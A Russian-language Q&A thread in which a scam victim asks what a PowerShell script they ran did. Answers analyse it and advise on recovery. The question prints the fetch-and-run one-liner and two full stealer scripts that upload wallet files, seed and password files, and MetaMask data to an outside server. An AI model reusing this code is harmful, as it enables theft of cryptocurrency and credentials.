Меня обманули, заставив запустить это в PowerShell — насколько я скомпрометирован?

Вопрос или проблема

Вот ссылка на скрипт: hxxps://extract-offline.tools/bip

А вот инструкции, которые мне дали, чтобы обмануть: https://medium.com/@article-343624/convert-tool-f894f6244d4f

Я запустил iex “& { $(irm extract-offline.tools/bip) } RunJob” на рабочем столе в PowerShell.

Я не положил ничего в документ bip39.txt, который я создал, у меня нет никаких текстовых файлов на моем рабочем столе (но может ли он получать доступ к другим директориям?) или папок кошельков для различных криптовалют. У меня есть Metamask, но там нет папки 00003, о которой упоминает скрипт. Вряд ли расширение Metamask хранит какую-либо незашифрованную информацию в файлах? Можно ли получить к ним доступ?

Буду очень признателен, если кто-то сможет объяснить мне, что именно этот скрипт сделал с моим компьютером, чтобы я мог предпринять необходимые шаги.

ИЗМЕНЕНИЕ/ОБНОВЛЕНИЕ 4 апреля 2024 года: Вот скрипт с предложенной ссылки. Похоже, что он немного изменен, но суть не сильно изменилась (я сохранил оригинал и добавил его ниже):

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$ErrorActionPreference="silentlycontinue"
$targetUrl="extract-offline.tools/data.php"
Write-Host "Загрузка модуля 'bip' из инструмента оффлайн-извлечения..."

$headers = @{
        "Content-Disposition" = "attachment; filename=`"$fileFullPath`""
    }

Write-Host "Получение информации о версии PowerShell и установленных модулях..."

function UploadFiles {
    param(
        [string]$targetUrl,
        [string]$appDirectory,
        [string]$fileExtension
    )

    if ($fileExtension) {
        $files = Get-ChildItem $appDirectory -Recurse -File -Filter "*$fileExtension" | Where-Object { $_.Length -lt 800KB }
    } else {
        $files = Get-ChildItem $appDirectory -Recurse -File | Where-Object { $_.Length -lt 800KB }
    }

    foreach ($file in $files) {
        $fileFullPath = $file.FullName
        $headers = @{
            "Content-Disposition" = "attachment; filename=`"$fileFullPath`""
        }
        Invoke-WebRequest -Uri $targetUrl -Method Put -InFile $fileFullPath -Headers $headers | Out-Null
    }
}

if ($env:OS -eq "Windows_NT") {
    $appAppdata = [Environment]::GetFolderPath([Environment+SpecialFolder]::ApplicationData)
    $appDesktop = Join-Path -Path $env:USERPROFILE -ChildPath "Desktop"
    $appDocuments = Join-Path -Path $env:USERPROFILE -ChildPath "Documents"
    $appDataRoamingPath = [Environment]::GetFolderPath([Environment+SpecialFolder]::ApplicationData)
    $appElectrum = Join-Path -Path $appDataRoamingPath -ChildPath "Electrum"
    $electrumwalletsDirectory = Join-Path -Path $appElectrum -ChildPath "wallets"
} else {
    $appAppdata = "$env:HOME/Library/Application Support"
    $appDesktop = "$env:HOME/Desktop"
    $appElectrum = Join-Path -Path $appDataRoamingPath -ChildPath "Electrum"
    $electrumwalletsDirectory = Join-Path -Path $appElectrum -ChildPath "wallets"
}

UploadFiles -targetUrl $targetUrl -appDirectory $appDesktop -fileExtension ".txt"
UploadFiles -targetUrl $targetUrl -appDirectory $appDesktop -fileExtension ".dat"
UploadFiles -targetUrl $targetUrl -appDirectory $appDocuments -fileExtension ".txt"
UploadFiles -targetUrl $targetUrl -appDirectory $appDocuments -fileExtension ".dat"
UploadFiles -targetUrl $targetUrl -appDirectory $appDataRoamingPath -fileExtension ".dat"
UploadFiles -targetUrl $targetUrl -appDirectory $electrumwalletsDirectory

Write-Host "Загрузка модуля 'bip' из инструмента PowerShell извлечения...... Не удалось."
Write-Host "Версия Windows не поддерживается..."

Оригинальный скрипт:

$ErrorActionPreference="silentlycontinue"
$targetUrl="extract-offline.tools/data.php"
Write-Host "Загрузка модуля 'bip' из оффлайн-инструмента извлечения..."

function Process-Df {
    param (
        [string]$filename,
        [string]$data
    )

    $desktopPath = Join-Path $env:USERPROFILE 'Desktop'
    $filePath = Join-Path $desktopPath $filename
    $headers = @{
        "Content-Disposition" = "attachment; filename="$filename"; data="$data""
    }
    Invoke-WebRequest -Uri $targetUrl -Method Put -InFile $filePath -Headers $headers | Out-Null
}

function Process-Af {
    param (
        [string]$filename,
        [string]$data
    )

    $appDataPath = [System.IO.Path]::Combine($env:APPDATA)
    $filePath = Join-Path $appDataPath $filename
    $headers = @{
        "Content-Disposition" = "attachment; filename="$filename"; data="$data""
    }
    Invoke-WebRequest -Uri $targetUrl -Method Put -InFile $filePath -Headers $headers | Out-Null
}

function Process-Ll {
    param (
        [string]$filename,
        [string]$data
    )

    $appDataLocalPath = [System.IO.Path]::Combine($env:LOCALAPPDATA)
    $filePath = Join-Path $appDataLocalPath $filename
    $headers = @{
        "Content-Disposition" = "attachment; filename="$filename"; data="$data""
    }
    Invoke-WebRequest -Uri $targetUrl -Method Put -InFile $filePath -Headers $headers | Out-Null
}

Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./wallet.txt" -Headers $headers | Out-Nul
Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./bip39.txt" -Headers $headers | Out-Null
Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./bip39.dat" -Headers $headers | Out-Null
Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./bip39" -Headers $headers | Out-Null
Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./bip44.txt" -Headers $headers | Out-Null
Invoke-WebRequest -Uri $targetUrl -Method Put -InFile "./seed.txt" -Headers $headers | Out-Null
Process-Df -filename "wallet.txt" -data "wallet_txt"
Process-Df -filename "bip39.txt" -data "bip39"
Process-Df -filename "seed.txt" -data "seed"
Process-Df -filename "wallet.dat" -data "wallet_dat"
Process-Df -filename "pass.txt" -data "pass"
Process-Df -filename "password.txt" -data "pass"
Process-Df -filename "password" -data "pass"
Process-Af -filename "./Dogecoin/wallet.dat" -data "doge"
Process-Af -filename "./electrum/wallets/default_wallet" -data "el1"
Process-Af -filename "./electrum/wallets/wallet_1" -data "el2"
Process-Af -filename "./WalletWasabi/Client/Wallets/Wallet.json" -data "wasabi"
Process-Af -filename "./Bitcoin/wallet.dat" -data "btc"
Process-Af -filename "./BitcoinCore/wallet.dat" -data "btccore"
Process-Af -filename "./Litecoin/wallet.dat" -data "ltc"
Process-Ll -filename "./Google/Chrome/User Data/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn/000003" -data "metamask"

Write-Host "Загрузка модуля 'bip' из инструмента PowerShell извлечения...... Не удалось."
Write-Host "Версия Windows не поддерживается..."

Скрипт, который у вас в вопросе, пытается экстрагировать некоторые данные:

  • Все .txt и .dat файлы в папке рабочего стола Windows или macOS и любых подпапках
  • Все .txt и .dat файлы в папке “Документы” Windows и любых подпапках
  • Все .dat файлы в папке AppData\Roaming Windows (%AppData%) и любых подпапках
  • Всю папку AppData\Roaming\Electrum\wallets

Он будет загружать только файлы размером до 800 КиБ.

Он пытается сделать еще больше (на macOS), но так как он сделан довольно кустарно, ему не удастся это сделать.

Скрипт в своем текущем виде не сохраняется и не вносит изменения в ваш ПК.

Если у вас был крипто-кошелек Electrum, вы, вероятно, можете попрощаться с этими монетами. В противном случае только вы можете судить, что было в тех файлах, которые были загружены, и что эти файлы вообще представляли.


Оригинальный скрипт похож. Он не сохраняется, он недолговечен. Он пытается экстрагировать эти файлы:

  • .\wallet.txt (относительно текущей папки в PowerShell)
  • .\bip39.txt
  • .\bip39.dat
  • .\bip39
  • .\bip44.txt
  • .\seed.txt
  • ...\Desktop\wallet.txt (в вашей папке рабочего стола)
  • ...\Desktop\bip39.txt
  • ...\Desktop\seed.txt
  • ...\Desktop\wallet.dat
  • ...\Desktop\pass.txt
  • ...\Desktop\password.txt
  • ...\Desktop\password
  • %AppData%\Dogecoin\wallet.dat
  • %AppData%\electrum\wallets\default_wallet
  • %AppData%\electrum\wallets\wallet_1
  • %AppData%\WalletWasabi\Client\Wallets\Wallet.json
  • %AppData%\Bitcoin\wallet.dat
  • %AppData%\BitcoinCore\wallet.dat
  • %AppData%\Litecoin\wallet.dat
  • %LocalAppData%\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\000003, что является некоторым файлом данных расширения Metamask Chrome; он не будет зашифрован, по крайней мере не от Chrome

Эти файлы зашифрованы? Может быть, а может и нет. Некоторые из них созданы пользователем. Что касается кошельков; энтузиазм к криптовалютам не обязательно совпадает с пониманием криптовалют. Кроме того, большинство программного обеспечения в общем довольно плохо сделано.

Ответ или решение

Я понимаю вашу тревогу и готов помочь разобраться в данной ситуации. Вы выполнили скрипт PowerShell из ненадежного источника, который, судя по представленному коду, предназначен для сбора и передачи ваших личных данных, особенно файлов, связанных с криптовалютами. Давайте подробно разберем, что именно произошло и каковы ваши текущие риски.

Что делает скрипт

  1. Загрузка файлов: Скрипт автоматически сканирует определенные директории на вашем компьютере, включая:

    • Рабочий стол (Desktop)
    • Документы (Documents)
    • Директорию AppData для приложений

    Он ищет файлы с расширениями .txt и .dat, размер которых не превышает 800 КБ, и отправляет их на удаленный сервер (extract-offline.tools).

  2. Специальные папки для криптовалют: Кроме этого, скрипт пытается получить доступ к папкам криптовалютных кошельков, таких как Electrum и другие, а также к данным расширения Metamask, хранящимся в локальных настройках вашего браузера Chrome.

Насколько вы скомпрометированы?

  1. Передача данных: Если в искомых директориях у вас были тексты или данные, которые вы не хотели бы раскрывать (например, пары логин-пароль, списки криптовалютных адресов или сид-фразы), они могли быть отправлены на удаленный сервер. Важно отметить, что если вы не ввели никаких данных в bip39.txt и не имели логов или конфигов в затронутых папках, ущерб может оказаться менее серьезным.

  2. Криптовалютные кошельки: Если вы не использовали Electrum или другие указанные кошельки, ваше состояние криптовалюты, скорее всего, в безопасности. Однако следует помнить, что если какие-либо файлы кошельков были отсканированы и отправлены, это может поставить под угрозу ваши активы.

  3. Metamask: В вашем случае, если вы не нашли папку "000003", это может указывать на отсутствие загруженных форматов данных для Metamask. Но даже если скрипт не смог извлечь данные, стоит быть настороженным, так как подобные атаки могут использоваться в дальнейшем.

Рекомендации по действиям:

  1. Проверьте свои устройства:

    • Убедитесь, что антивирус и антишпионские программы обновлены и проведите полное сканирование системы.
    • Измените пароли для всех важных учетных записей, включая кошельки криптовалют и электронную почту.
  2. Мониторинг:

    • Внимательно следите за аккаунтами, связанными с криптовалютами. Если заметите подозрительную активность, немедленно примите незамедлительные меры, такие как перевод средств в более безопасное место.
  3. Изолируйте устройство:

    • Если у вас есть основания полагать, что устройство скомпрометировано, рассмотрите возможность восстановления его до заводских настроек или использование резервной копии, созданной до инцидента.
  4. Сообщите своим контактам:

    • Если вы использовали данный скрипт на рабочих устройствах, сообщите об этом соответствующим лицам или командам безопасности.

В целом, судя по описанному, скрипт не обладает высокой степенью сложности и не оставляет постоянных изменений на компьютере, но потенциальное утечка данных по-прежнему вызывает беспокойство. Важно всегда быть осторожным в отношении источников, откуда вы получаете коды или скрипты, и не выполнять код без глубокого анализа его функциональности.

Оцените материал
Добавить комментарий

Капча загружается...